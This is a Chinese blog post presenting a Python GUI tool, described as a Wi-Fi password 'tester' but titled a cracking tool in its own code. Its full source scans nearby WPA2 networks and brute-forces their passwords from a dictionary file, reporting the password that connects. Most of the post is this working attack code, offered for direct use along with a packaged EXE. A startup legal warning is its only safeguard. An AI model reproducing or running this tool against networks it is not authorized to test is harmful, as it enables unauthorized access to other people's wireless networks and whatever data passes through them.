当前位置: 首页 > news >正文

Python Wi-Fi密码测试工具

Python Wi-Fi测试工具

相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!

1. 简介:

这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。

以下是详细的功能介绍:

1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。

2. 运行效果:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. 相关源码:

import sys
import os
import time
from PyQt5.QtWidgets import (QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,QLabel, QTextBrowser, QFileDialog, QProgressBar,QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import constclass DragDropLineEdit(QLineEdit):def __init__(self, parent=None):super().__init__(parent)self.setAcceptDrops(True)def dragEnterEvent(self, event):if event.mimeData().hasUrls():event.accept()else:event.ignore()def dropEvent(self, event):if event.mimeData().hasUrls():file_path = event.mimeData().urls()[0].toLocalFile()if os.path.isfile(file_path):self.setText(file_path)else:event.ignore()else:event.ignore()class CrackThread(QThread):update_progress = pyqtSignal(int)update_log = pyqtSignal(str)success_signal = pyqtSignal(str)def __init__(self, wifi_name, dictionary_path, iface):super(CrackThread, self).__init__()self.wifi_name = wifi_nameself.dictionary_path = dictionary_pathself.iface = ifaceself.running = Truedef emit_log_with_time(self, message):timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")self.update_log.emit(f"{timestamp} {message}")def run(self):if not os.path.exists(self.dictionary_path):self.emit_log_with_time("[!] 密码字典文件不存在!")returnself.emit_log_with_time("开始破解...")with open(self.dictionary_path, "r", encoding="utf-8") as file:passwords = file.readlines(1000)  # 每次读取1000行total_passwords = len(passwords)for idx, password in enumerate(passwords):if not self.running:self.emit_log_with_time("[!] 破解已停止。")breakpassword = password.strip()  # 去除多余空格和换行符self.emit_log_with_time(f"[-] 测试密码: {password}")if self.wifi_connect(password):self.emit_log_with_time(f"[+] 成功连接!密码:{password}")self.success_signal.emit(password)self.update_progress.emit(100)returnself.update_progress.emit(int((idx + 1) / total_passwords * 100))self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")def wifi_connect(self, pwd):try:# 创建WiFi配置文件profile = pywifi.Profile()profile.ssid = self.wifi_nameprofile.auth = const.AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMPprofile.key = pwd# 清除所有配置文件self.iface.remove_all_network_profiles()tep_profile = self.iface.add_network_profile(profile)# 连接WiFiself.iface.connect(tep_profile)start_time = time.time()# 等待连接结果while time.time() - start_time < 5:  # 延长等待时间到5秒status = self.iface.status()if status == const.IFACE_CONNECTED:self.iface.disconnect()  # 连接成功后断开,避免干扰后续操作return Trueelif status == const.IFACE_DISCONNECTED:time.sleep(1)  # 给网卡足够时间反应self.iface.disconnect()  # 确保清理状态return Falseexcept Exception as e:self.emit_log_with_time(f"[!] 连接时发生错误: {e}")return Falsedef stop(self):self.running = Falseclass WiFiCrackerUI(QMainWindow):def __init__(self):super().__init__()self.initUI()self.thread = Nonedef initUI(self):self.setWindowTitle("WiFi破解工具")self.setGeometry(100, 100, 378, 532)self.set_ui_styles()self.show_legal_warning()layout = QVBoxLayout()self.interface_label = QLabel("选择无线网卡接口:")self.interface_list = QComboBox()self.refresh_interface_list()layout.addWidget(self.interface_label)layout.addWidget(self.interface_list)wifi_layout = QHBoxLayout()self.wifi_label = QLabel("WiFi 名称:")self.wifi_list = QComboBox()self.refresh_wifi_button = QPushButton("刷新列表")self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)wifi_layout.addWidget(self.wifi_label)wifi_layout.addWidget(self.wifi_list)wifi_layout.addWidget(self.refresh_wifi_button)layout.addLayout(wifi_layout)self.path_label = QLabel("密码字典路径:")self.path_input = DragDropLineEdit()self.browse_button = QPushButton("选择字典文件(.txt)")self.browse_button.clicked.connect(self.browse_file)layout.addWidget(self.path_label)layout.addWidget(self.path_input)layout.addWidget(self.browse_button)self.log_browser = QTextBrowser()layout.addWidget(self.log_browser)self.progress_bar = QProgressBar()layout.addWidget(self.progress_bar)self.start_button = QPushButton("开始破解")self.start_button.clicked.connect(self.start_cracking)self.stop_button = QPushButton("停止破解")self.stop_button.clicked.connect(self.stop_cracking)layout.addWidget(self.start_button)layout.addWidget(self.stop_button)container = QWidget()container.setLayout(layout)self.setCentralWidget(container)self.refresh_wifi_list()def set_ui_styles(self):self.setStyleSheet("""QPushButton {background-color: #4CAF50;color: white;border-radius: 5px;padding: 10px;}QPushButton:hover {background-color: #45a049;}QProgressBar {border: 2px solid #4CAF50;border-radius: 5px;text-align: center;}QTextBrowser {background-color: #f5f5f5;font-family: "Courier New";border-radius: 5px;}""")def show_legal_warning(self):reply = QMessageBox.warning(self,"合法性警告","本工具仅供测试自己网络的安全性,禁止用于非法用途!\n""使用本工具即表示您同意对所有行为自行负责。",QMessageBox.Ok | QMessageBox.Cancel,)if reply == QMessageBox.Cancel:self.close()  # 如果用户选择取消,退出程序def load_translations(self, language_code="en"):translator = QTranslator()if language_code == "zh":translator.load(":/translations/zh_CN.qm")else:translator.load(":/translations/en_US.qm")app.installTranslator(translator)def refresh_interface_list(self):wifi = pywifi.PyWiFi()self.interface_list.clear()for iface in wifi.interfaces():self.interface_list.addItem(iface.name())def refresh_wifi_list(self):self.wifi_list.clear()iface_name = self.interface_list.currentText()if not iface_name:self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)iface.scan()self.log_browser.append("[+] 网络扫描开始...")QTimer.singleShot(2000, self.on_scan_complete)  # 2秒后回调扫描结果except Exception as e:self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")def on_scan_complete(self):iface_name = self.interface_list.currentText()wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)results = iface.scan_results()seen_ssids = set()for network in results:ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')if ssid and ssid not in seen_ssids:self.wifi_list.addItem(ssid)seen_ssids.add(ssid)self.log_browser.append("[+] Wi-Fi 列表刷新完成。")def browse_file(self):file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")if file_path:if not file_path.endswith('.txt'):self.log_browser.append("[!] 请选择一个有效的文本文件!")returnself.path_input.setText(file_path)def start_cracking(self):if self.thread and self.thread.isRunning():self.log_browser.append("[!] 破解已经在运行中,请等待完成。")returnwifi_name = self.wifi_list.currentText().strip()dictionary_path = self.path_input.text().strip()if not wifi_name or not dictionary_path:self.log_browser.append("[!] 请填写完整信息!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())iface.disconnect()time.sleep(1)if iface.status() != const.IFACE_DISCONNECTED:self.log_browser.append("[!] 无法断开当前连接。")returnexcept Exception as e:self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")returnself.thread = CrackThread(wifi_name, dictionary_path, iface)self.thread.update_log.connect(self.log_browser.append)self.thread.update_progress.connect(self.progress_bar.setValue)self.thread.success_signal.connect(self.show_success_message)self.thread.start()def stop_cracking(self):if self.thread and self.thread.isRunning():self.thread.stop()def show_success_message(self, password):QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")if __name__ == "__main__":app = QApplication(sys.argv)window = WiFiCrackerUI()window.show()sys.exit(app.exec_())

相关文章:

Python Wi-Fi密码测试工具

Python Wi-Fi测试工具 相关资源文件已经打包成EXE文件&#xff0c;可双击直接运行程序&#xff0c;且文章末尾已附上相关源码&#xff0c;以供大家学习交流&#xff0c;博主主页还有更多Python相关程序案例&#xff0c;秉着开源精神的想法&#xff0c;望大家喜欢&#xff0c;点…...

Linux 创建用户

Linux 创建用户 创建用户 sudo useradd -m -s /bin/bash test - -m&#xff1a;自动创建家目录 /home/test - -s /bin/bash&#xff1a;指定默认的 shell 为 bash修改密码 # 修改密码 sudo passwd test删除用户 userdel -r zengshun - -r&#xff1a;把用户的主目录一起删…...

自建RustDesk服务器

RustDesk服务端 下面的截图是我本地的一个服务器做为演示用&#xff0c;你自行的搭建服务需要该服务器有固定的ip地址 1、通过宝塔面板快速安装 2、点击【安装】后会有一个配置信息&#xff0c;默认即可 3、点击【确认】后会自动安装等待安装完成 4、安装完成后点击【打开…...

Spring Boot Web技术栈(官网文档解读)

摘要 Spring Boot框架既支持传统的Servlet技术栈&#xff0c;也支持新兴的响应式&#xff08;Reactive&#xff09;技术栈。本篇文章将详细讲述Spring Boot 对两种技术栈的详细支持和使用。 Servlet 概述 基于Java Servlet API构建&#xff0c;它依赖于传统的阻塞I/O模型&…...

【llama_factory】qwen2_vl训练与批量推理

训练llama factory配置文件 文件&#xff1a;examples/train_lora/qwen2vl_lora_sft.yaml ### model model_name_or_path: qwen2_vl/model_72b trust_remote_code: true### method stage: sft do_train: true finetuning_type: lora lora_target: all### dataset dataset: ca…...

wpa_cli命令使用记录

wpa_cli可以用于查询当前状态、更改配置、触发事件和请求交互式用户输入。具体来说&#xff0c;它可以显示当前的认证状态、选择的安全模式、dot11和dot1x MIB等&#xff0c;并可以配置一些变量&#xff0c;如EAPOL状态机参数。此外&#xff0c;wpa_cli还可以触发重新关联和IEE…...

【Uniapp-Vue3】页面生命周期onLoad和onReady

一、onLoad函数 onLoad在页面载入时触发&#xff0c;多用于页面跳转时进行参数传递。 我们在跳转的时候传递参数name和age: 接受参数&#xff1a; import {onLoad} from "dcloudio/uni-app"; onLoad((e)>{...}) 二、onReady函数 页面生命周期函数中的onReady其…...

《C++11》并发库:简介与应用

在C11之前&#xff0c;C并没有提供原生的并发支持。开发者通常需要依赖于操作系统的API&#xff08;如Windows的CreateThread或POSIX的pthread_create&#xff09;或者第三方库&#xff08;如Boost.Thread&#xff09;来创建和管理线程。这些方式存在以下几个问题&#xff1a; …...

LeetCode - #183 Swift 实现查询未下订单的客户

网罗开发 &#xff08;小红书、快手、视频号同名&#xff09; 大家好&#xff0c;我是 展菲&#xff0c;目前在上市企业从事人工智能项目研发管理工作&#xff0c;平时热衷于分享各种编程领域的软硬技能知识以及前沿技术&#xff0c;包括iOS、前端、Harmony OS、Java、Python等…...

HTML拖拽功能(纯html5+JS实现)

1、HTML拖拽--单元行拖动 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><…...

mysql 等保处理,设置wait_timeout引发的问题

&#x1f468;‍⚕ 主页&#xff1a; gis分享者 &#x1f468;‍⚕ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕ 收录于专栏&#xff1a;运维工程师 文章目录 前言问题处理 前言 系统部署完成后&#xff0c;客户需要做二级等保&…...

7.STM32F407ZGT6-RTC

参考&#xff1a; 1.正点原子 前言&#xff1a; RTC实时时钟是很基本的外设&#xff0c;用来记录绝对时间。做个总结&#xff0c;达到&#xff1a; 1.学习RTC的原理和概念。 2.通过STM32CubeMX快速配置RTC。 27.1 RTC 时钟简介 STM32F407 的实时时钟&#xff08;RTC&#xf…...

重写(补充)

大家好&#xff0c;今天我们把剩下一点重写内容说完&#xff0c;来看。 [重写的设计规则] 对于已经投入使用的类,尽量不要进行修政 &#xff0c;最好的方式是:重新定义一个新的类,来重复利用其中共性的内容 我们不该在原来的类上进行修改&#xff0c;因为原来的类,可能还有用…...

30分钟内搭建一个全能轻量级springboot 3.4 + 脚手架 <3>5分钟集成好druid并使用druid自带监控工具监控sql请求

快速导航 快速导航 <1> 5分钟快速创建一个springboot web项目 <2> 5分钟集成好最新版本的开源swagger ui&#xff0c;并使用ui操作调用接口 <3> 5分钟集成好druid并使用druid自带监控工具监控sql请求 <4> 5分钟集成好mybatisplus并使用mybatisplus g…...

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理 项目背景项目实现推理过程训练过程 项目展望写在最后项目下载链接 本文为原创文章&#xff0c;若需要转载&#xff0c;请注明出处。 原文地址&#xff1a;https://blog.csdn.net/qq_30270773/article…...

Oracle 分区索引简介

目录 一. 什么是分区索引二. 分区索引的种类2.1 局部分区索引&#xff08;Local Partitioned Index&#xff09;2.2 全局分区索引&#xff08;Global Partitioned Index&#xff09; 三. 分区索引的创建四. 分区索引查看4.1 USER_IND_COLUMNS 表4.2 USER_INDEXES 表 五. 分区索…...

【科技赋能未来】NDT2025第三届新能源数字科技大会全面启动!

随着我国碳达峰目标、碳中和目标的提出&#xff0c;以及经济社会的发展进步&#xff0c;以风电、光伏发电为代表的新能源行业迎来巨大发展机遇&#xff0c;成为未来绿色经济发展的主要趋势和方向。 此外&#xff0c;数字化技术的不断发展和创新&#xff0c;其在新能源领域的应…...

Broker收到消息之后如何存储

1.前言 此文章是在儒猿课程中的学习笔记&#xff0c;感兴趣的想看原来的课程可以去咨询儒猿课堂《从0开始带你成为RocketMQ高手》&#xff0c;我本人觉得这个作者还是不错&#xff0c;都是从场景来进行分析&#xff0c;感觉还是挺适合我这种小白的。这块主要都是我自己的学习笔…...

Mysql--实战篇--SQL优化(查询优化器,常用的SQL优化方法,执行计划EXPLAIN,Mysql性能调优,慢日志开启和分析等)

一、查询优化 1、查询优化器 (Query Optimizer) MySQL查询优化器&#xff08;Query Optimizer&#xff09;是MySQL数据库管理系统中的一个关键组件&#xff0c;负责分析和选择最有效的执行计划来执行SQL查询。查询优化器的目标是尽可能减少查询的执行时间和资源消耗&#xff…...

BERT与CNN结合实现糖尿病相关医学问题多分类模型

完整源码项目包获取→点击文章末尾名片&#xff01; 使用HuggingFace开发的Transformers库&#xff0c;使用BERT模型实现中文文本分类&#xff08;二分类或多分类&#xff09; 首先直接利用transformer.models.bert.BertForSequenceClassification()实现文本分类 然后手动实现B…...

rabbitmqp安装延迟队列

在RabbitMQ中&#xff0c;延迟队列是一种特殊的队列类型。当消息被发送到此类队列后&#xff0c;不会立即投递给消费者&#xff0c;而是会等待预设的一段时间&#xff0c;待延迟期满后才进行投递。这种队列在多种场景下都极具价值&#xff0c;比如可用于处理需要在特定时间触发…...

深入探讨DICOM医学影像中的MPPS服务及其具体实现

深入探讨DICOM医学影像中的MPPS服务及其具体实现 1. 引言 在医疗影像的管理和传输过程中&#xff0c;DICOM&#xff08;数字影像和通信医学&#xff09;标准发挥着至关重要的作用。除了DICOM影像的存储和传输&#xff08;如影像存储SCP和影像传输SCP&#xff09;&#xff0c;…...

集合帖:区间问题

一、AcWing 803&#xff1a;区间合并 &#xff08;1&#xff09;题目来源&#xff1a;https://www.acwing.com/problem/content/805/ &#xff08;2&#xff09;算法代码&#xff1a;https://blog.csdn.net/hnjzsyjyj/article/details/145067059 #include <bits/stdc.h>…...

C#,入门教程(27)——应用程序(Application)的基础知识

上一篇&#xff1a; C#&#xff0c;入门教程(26)——数据的基本概念与使用方法https://blog.csdn.net/beijinghorn/article/details/124952589 一、什么是应用程序 Application&#xff1f; 应用程序是编程的结果。一般把代码经过编译&#xff08;等&#xff09;过程&#…...

迅翼SwiftWing | ROS 固定翼开源仿真平台正式发布!

经过前期内测调试&#xff0c;ROS固定翼开源仿真平台今日正式上线&#xff01;现平台除适配PX4ROS环境外&#xff0c;也已实现APROS环境下的单机飞行控制仿真适配。欢迎大家通过文末链接查看项目地址以及具体使用手册。 1 平台简介 ROS固定翼仿真平台旨在实现固定翼无人机决策…...

CSS 样式 box-sizing: border-box; 详细解读

box-sizing是 CSS 中的一个属性&#xff0c;用于控制元素的盒模型计算方式。border-box值表示元素的宽度和高度将包括内边距&#xff08;padding&#xff09;和边框&#xff08;border&#xff09;&#xff0c;而不仅仅是内容的宽度和高度。这意味着当你为元素设置宽度和高度时…...

FLASK创建下载

html用a标签 <!-- Button to download the image --> <a href"{{ url_for(download_file, filenameimage.png) }}"><button>Download Image</button> </a> 后端&#xff1a;url_for双大括号即是用来插入变量到模板中的语法。也就是绑…...

漫话架构师|什么是系统架构设计师(开篇)

~犬&#x1f4f0;余~ “我欲贱而贵&#xff0c;愚而智&#xff0c;贫而富&#xff0c;可乎&#xff1f; 曰&#xff1a;其唯学乎” 关注犬余&#xff0c;共同进步 技术从此不孤单...

Web Socket

Web Socket ‌WebSocket‌是一种基于TCP的网络通信协议&#xff0c;允许客户端和服务器之间建立全双工&#xff08;双向&#xff09;通信通道。WebSocket通过HTTP协议进行握手&#xff0c;建立连接后&#xff0c;客户端和服务器可以在同一个连接上同时发送和接收数据&#xff0…...

JavaSE学习心得(反射篇)

反射 前言 获取class对象的三种方式 利用反射获取构造方法 利用反射获取成员变量 利用反射获取成员方法 练习 保存信息 跟配置文件结合动态创建 前言 接上期文章&#xff1a;JavaSE学习心得&#xff08;多线程与网络编程篇&#xff09; 教程链接&#xff1a;黑马…...